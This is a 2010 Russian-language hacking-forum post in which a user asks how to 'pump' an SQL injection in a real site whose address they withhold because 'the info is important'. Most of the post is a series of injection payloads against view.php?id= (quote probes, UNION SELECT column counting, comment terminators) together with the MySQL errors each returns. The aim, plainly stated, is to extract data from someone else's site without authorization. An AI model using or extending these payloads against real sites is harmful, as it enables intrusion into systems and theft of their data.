
23.07.2010, 02:24
|
|
Новичок
Регистрация: 29.04.2010
Сообщений: 19
С нами:
8440113
Репутация:
3
|
|
как же раскрутить скуль
Всем привет!
Помогите советом... как составить запрос, что бы хоть чтонить вывелось... ошибки, etc.
(не могу дать ссылку, т.к. инфа важная)
http://site.com/view.php?id=134
Вот запрос:
SELECT * FROM tbl_art WHERE `GRP_ID` IN (0) AND `OBJ_ID` IN (134)
При view.php?id=134z
SQL ERROR: Unknown column '134z' in 'where clause'
При view.php?id=134z()
SQL ERROR: Column count of mysql.proc is wrong. Expected 20, found 16. Created with MySQL 50077, now running 50148. Please use mysql_upgrade to fix this error.
При view.php?id=999' - выдается сообщение о несуществующей статье (при 999, то же)
При view.php?id=134' - стандартная ошибка sql синтаксиса
При view.php?id=134)+and+(a
SQL ERROR: Unknown column 'a' in 'where clause'
При view.php?id=134)+union+select+(a
SQL ERROR: Unknown column 'a' in 'field list'
При view.php?id=134)+union+select+(user()
SQL ERROR: The used SELECT statements have a different number of columns
При view.php?id=134)+union+select+(1,2
SQL ERROR: Operand should contain 1 column(s)
При view.php?id=134)+union+select+(1),(2),(3),(4 - ошибки нет, но и нет текста статьи
При view.php?id=134)+union+select+1,2,3,4--+ - так же, как и выше
|
|
|